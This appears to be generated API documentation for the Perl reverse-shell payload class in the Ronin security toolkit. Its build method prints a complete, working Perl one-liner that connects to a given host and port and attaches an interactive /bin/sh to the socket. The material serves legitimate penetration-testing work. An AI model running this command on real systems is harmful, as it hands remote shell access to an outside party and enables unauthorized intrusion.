Class: Ronin::Payloads::CMD::Perl::ReverseShell

Inherits:
Ronin::Payloads::CommandPayload show all
Includes:
Mixins::ReverseShell
Defined in:
lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb

Overview

A basic perl reverse shell command.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::CommandPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the perl reverse shell command.



45
46
47
# File 'lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb', line 45

def build
  @payload = %{perl -e 'use Socket;$i=#{host.dump};$p=#{port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
end